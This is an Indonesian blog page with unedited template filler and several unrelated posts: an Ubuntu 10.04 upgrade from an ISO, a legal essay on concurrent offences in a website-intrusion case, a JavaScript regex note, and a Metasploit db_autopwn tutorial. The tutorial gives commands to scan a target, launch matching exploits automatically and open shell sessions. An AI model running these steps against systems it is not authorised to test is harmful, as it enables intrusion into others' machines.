ok

This is default featured post 1 title

Go to Blogger edit html and find these sentences.Now replace these sentences with your own descriptions.This theme is Bloggerized by Lasantha Bandara - Premiumbloggertemplates.com.

This is default featured post 2 title

Go to Blogger edit html and find these sentences.Now replace these sentences with your own descriptions.This theme is Bloggerized by Lasantha Bandara - Premiumbloggertemplates.com.

This is default featured post 3 title

Go to Blogger edit html and find these sentences.Now replace these sentences with your own descriptions.This theme is Bloggerized by Lasantha Bandara - Premiumbloggertemplates.com.

This is default featured post 4 title

Go to Blogger edit html and find these sentences.Now replace these sentences with your own descriptions.This theme is Bloggerized by Lasantha Bandara - Premiumbloggertemplates.com.

This is default featured post 5 title

Go to Blogger edit html and find these sentences.Now replace these sentences with your own descriptions.This theme is Bloggerized by Lasantha Bandara - Premiumbloggertemplates.com.

05/05/10

Upgrade Menggunakan Berkas ISO to ubuntu lucid

Kerena ndak punya cd buat bakar iso lucid terus gagal gitu upgrade to lucid ndak donk ,pake internet langsung b/w pas-pasan  ok lah tetap ada caranya .
Berikut langkah-langkahnya:
  1. Unduh berkas ISO versi Alternate (nama berkasnya berakhiran dengan tulisan ‘alternate‘) cari di link download di indo dah banyak macem dll-foss.web.id..
  2. Taruh berkas ISO hasil unduh tersebut di Desktop (biasanya di /home//Desktop).
  3. Buka terminal, masukkan perintah berikut: (dengan asumsi anda mengunduh berkas ISO Alternate versi 32-bit)
    sudo mount -o loop ~/Desktop/ubuntu-10.04-alternate-i386.iso /media/cdrom0
    Perintah di atas digunakan untuk melakukan ‘mount‘ berkas ISO ke drive CD-ROM anda, jadi seolah-olah berkas ISO Alternate tersebut ‘dimasukkan’ ke drive CD-ROM anda. Kalau anda pernah menggunakan Daemon Tools atau Virtual CD pada Windows, kira-kira konsep mount ini seperti itu. ^^
  4. Akan muncul jendela dialog konfirmasi untuk melakukan upgrade.
  5. Bila dialog tersebut tidak muncul, tekan ALT + F2, dan masukkan perintah berikut:
    gksu "sh /cdrom/cdromupgrade"
  6. Ikuti petunjuk upgrade yang ada di layar.pilih sesuai yang mau anda upgrade atau mau hapus disini dibutuhkan ketelitian ok .
Semua setting, konfigurasi, dan aplikasi anda kemungkinan besar akan tetap “dipertahankan” saat upgrade, dengan syarat: aplikasi/setting/konfigurasi tersebut KOMPATIBEL dengan Ubuntu 10.04. Ada baiknya anda memperhatikan petunjuk upgrade langkah-per-langkah yang tampil di layar. Ada salah satu bagian yang menampilkan daftar aplikasi yang akan “dihapus” atau “diupgrade”. Selamat mencoba!
saalam emmbeker .

Concursus di dalam Kasus findtouyou.com

Akhirnya saya sedikit paham dengan masalah findtoyou.com ini setelah Adi dari pihak findtoyou.com menjelaskan perihal bagaimana awal mula proses yang berakhir dengan berpindahnya program mereka ke sebuah website lain. Selain terhadap pelanggaran terhadap etika sebuah hak cipta, ternyata ditemukan lagi sebuah delik di dalam proses itu. Delik yang dimaksud adalah berupa penerobosan atau bahasa sederhananya adalah akses ilegal terhadap sistem elektronik yang dipunyai oleh findtoyou.com.

Jika menilik dari runtutan proses ini, setidaknya ada 2 delik di dalam satu waktu. Lalu pertanyaan selanjutnya adalah, bagaimana sistem pemidanaan terhadap kasus dengan delik lebih dari satu ini ?, jawabannya adalah dengan menggunakan kaidah concursus. Sebelum kita memasuki kasus tersebut, ada baiknya kita menyelami terlebih dahulu apa itu concursus dan bagaimana sistem pemidanaannya. Concursus sendiri berarti perbarengan yang menggambarkan adanya kebersamaan. Kebersamaan ini maksudnya adalah pemeriksaan seorang terdakwa atau lebih berdasarkan beberapa ketentuan pidana yang telah dilanggarnya secara bersama dalam satu perkara, dengan begitu masalah utamanya adalah nanti ketika penjatuhan pidana.

Di dalam penjatuhan pidana dalam hal ini ada 4 sistem yaitu: absorbsi murni, absorbsi dipertajam, kumulasi murni, dan komulasi yang diperlunak.

1. absorbsi murni: pemidanaan dengan menggunakan pidana terberat saja.
2. kumulasi murni: pemidanaan dengan mendasarkan pada semua pidana yang diancamkan.
3. absorbsi dipertajam: pemidaan dengan menggunakan pidana terberat ditambah sepertiganya.
4. kumulasi diperlunak: pemidaan dengan dengan mendasarkan pada beberapa delik dan masing-masing ancaman pidana diterapkan pada terdakwa akan tetapi jumlah keseluruhan pidana tidak boleh melebihi ancaman pidana terberat ditambah sepertiga.

Setelah mengetahui sistem pemidaan dari concursus, ada baiknya kita mengetahui jenis-jenis dari concursus, yaitu: gabungan peraturan (concurcus idealis), perbuatan berlanjut (voortgezette handeling), gabungan perbuatan (concursus realis).

1. concursus idealis: pada pasal 63 ayat 1 dan 2 KUHP dapat kita tarik benang merah bahwa yang dimaksud disini adalah delik yang dilaksanakan lebih dari satu, masuk dari lebih satu aturan pidana maka yang dikenakan yang memuat ancaman terberat (ayat 1). Jika delik tersebut masuk ke dalam ranah aturan pidana umum dan ternyata diatur dalam ranah pidana khusus, maka pidana khususlah yang digunakan.

2. voorgezette handeling: pada pasal 64 KUHP

3. concursus realis: pada pasal 65-71 KUHP.

Setelah mengetahui secara singkat ada baiknya kita langsung memasuki posisi kasus tersebut. Di dalam kasus tersebut ada dua delik, yaitu menerobos atau menjebol atau setidak-tidaknya melakukan akses ilegal terhadap area dari findtoyou.com, dan melakukan pencurian terhadap program komputer yang di migrasikan kepada website lainnya. Apabila seseorang asing yang bukan setidaknya administrator/user legal dari sebuah sistem elektronik memasukinya tanpa izin pemilik atau penanggungjawab maka hal termasuk klasifikasi dari cracking. Sebelum memasuki UU ITE sebagai hukum positif, ada baiknya kita mengetahui di dalam KUHP terdapat beberapa tindakan akses ilegal sesuai dengan konteks ketika KUHP dibuat:

Pasal 167:

(1) Barang siapa memaksa masuk ke dalam rumah, ruangan atau pekarangan tertutup yang dipakai orang lain dengan me- lawan hukum atau berada di situ dengan melawan hukum, dan atas permintaan yang berhak atau suruhannya tidak pergi dengan segera, diancam dengan pidana penjara paling lema sembilan bulan atau pidana denda paling banyak empat ribu lima ratus rupiah.

(2) Barang siapa masuk dengan merusak atau memanjat, dengan menggunakan anak kunci palsu, perintah palsu atau pakaian jahatan palsu, atau barang siapa tidak setahu yang berhak lebih dahulu serta bukan karena kekhilafan masuk dan kedapatan di situ pada waktu malam, dianggap memaksa masuk.

(3) Jika mengeluarkan ancaman atau menggunakan sarana yang dapat menakutkan orang, diancam dengan pidana penjara paling lama satu tahun empat bulan.

(4) Pidana tersebut dalam ayat 1 dan 3 dapat ditambah sepertiga jika yang melakukan kejahatan dua orang atau lebih dengan bersekutu.

Dan pada pasal 551:

Barang siapa tanpa wewenang berjalan atau berkendaraan di atas tanah yang oleh pemiliknya dengan cara jelas dilarang memasukinya, diancam dengan pidana denda paling banyak dua ratus dua puluh lima rupiah.

Setelah mengetahui dari KUHP, baiklah kita sekarang menuju kepada UU ITE, pada pasal 30 ayat 2:

Setiap Orang dengan sengaja dan tanpa hak atau melawan hukum mengakses Komputer dan/atau Sistem Elektronik dengan cara apa pun dengan tujuan untuk memperoleh Informasi Elektronik dan/atau Dokumen Elektronik.

Marilah kita kaji pasal tersebut berdasarkan perspektif pidana. Pertama-tama kita harus melihat unsur-unsur apa saja yang terdapat di dalam pasal tersebut, unsur-unsurnya adalah:

1. Setiap orang
2. Dengan sengaja dan tanpa hak atau melawan hukum
3. Mengakses komputer dan/atau sistem elektronik:
milik orang lain dengan cara apapun
dengan tujuan untuk memperoleh sistem elektronik
dengan melanggar sistem pengamanan

Penekanannya adalah pada mengakses komputer dan atau sistem elektronik dengan cara melanggar hukum bisa dengan cracking suatu password sebagai perluasan dari anak kunci di dalam KUHP. Dengan demikian usaha dari seseorang yang menerobos masuk dengan tidak sah (berdasarkan bukti log) dan ternyata program tersebut didistribusikan dengan cara tidak sah seperti dalam artikel sebelumnya dapat diterapkan concursus ini. Insya Allah dalam artikel selanjutnya saya akan membahas bagaimana terkait pembuktian dari pidana cracking berdasarkan aspek hukum yang berlaku di ranah internasional dan ranah Indonesia

link: http://mygoder.wordpress.com/2010/05/04/concursus-di-dalam-kasus-findtoyou-com/

metasploit autopwn tutorial

sayang servis dimatiin ya udah buat pembelajaran aja
pertama tama download metasploit di websitenya kemudian instal
kedua kita create db dulu

msf > db_create
[*] Creating a new database instance...
[*] Successfully connected to the database
[*] File: /root/.msf3/sqlite3.db

kemudian pluginsnya .
msf > load db_tracker
[*] Successfully loaded plugin: db_tracker
kemudian cek services na
msf > db_services

sekarang kita action lihat helpnya dulu

msf > db_autopwn
[*] Usage: db_autopwn [options]
-t Show all matching exploit modules
-x Select modules based on vulnerability references
-p Select modules based on open ports
-e Launch exploits against all matched targets
-r Use a reverse connect shell
-b Use a bind shell on a random port
-h Display this help text

saatnya test target
msf >db_nmap -p (port) (target )

berikutnya kita check
msf > db_autopwn -p -t (kalo nggak mau report -r)

saatnya exsekusi
msf > db_autopwn -p -t -e
tunggu pe selesai

setelas selesaai lihat tunnel yang active
msf > sessions -l

langsung deh kita coba masuk
msf > sessions -i 1 (satu adalah id tunell yang active )

silakan di coba

ini cuma pembelajaran
so pergunakan dengan bijak

salam eemmbekerrrrrrrrr *emebbbbbbbbbbbek*


Note :untuk update nya bisa menggunakan msfupdate (harus dengan administrator )
untuk linux lgin ke root pindah direktory ke /opt/metasploit3/msf3

atribute to aki emmbeker (kilurah ) happy birthday

sebenarnya tadinya pingin angon wedhus di server orang tapi kayaknya dah lazim kan ya '
makanya kita tulis aja sharing pengetahuan aja.sebelumnya minta maaf jika aki emmbeker tidak berkenan kita mulai aja.

Regex di Javascript


Di Javascript, regex diwakili oleh objek RegExp. Pertama-tama kita membuat objek RegExp dengan new atau dengan notasi // ala Perl. Untuk mengkompilasi pola, kita menggunakan metode compile(). Kompilasi eksplisit tidak wajib, namun dapat meningkatkan efisiensi. Untuk mencocokkan string dengan pola dan mengambil match groupnya, digunakan metode exec(). Atau untuk sekedar mengetes apakah string cocok atau tidak, gunakan metode test(). Match group dapat diperoleh di properti kelas (bukan properti objek) bernama $1, $2, dst. Jadi ini mirip dengan Perl. Javascript 1.3 mendukung semua sintaks regex yang telah dijelaskan sejauh ini (namun tidak mendukung modifier s dan m).

Modifier i dapat disebutkan di argumen constructor dan metode compile(), atau dengan mengeset properti objek ignoreCase menjadi true. Demikian pula modifier g, dengan properti global.

re = new RegExp("pattern"[, "modifier"])
re = /pattern/modifier
re.ignoreCase = true | false
re.global = true | false
re.compile("pattern", "modifier")
re.test("string")
re.exec("string")
match_element1 = RegExp.$1

Contoh:




Internet Banking



Masukkan username:

Masukkan PIN:




Skrip di atas adalah contoh sederhana validasi sisi klien. Username dan PIN diuji harus dalam bentuk seperti yang dipakai oleh KlikBCA.

makasih sebelumnya walaupun mungkin basi tapi nggak ada salahnya
bukan begitu aki emmbeker
heheheh
maaf ya kang azis
met ultah aja semoga tambah sukses rerjeki dan barokah buat akang heheheh

salam emmbeker

emmmbeeeek.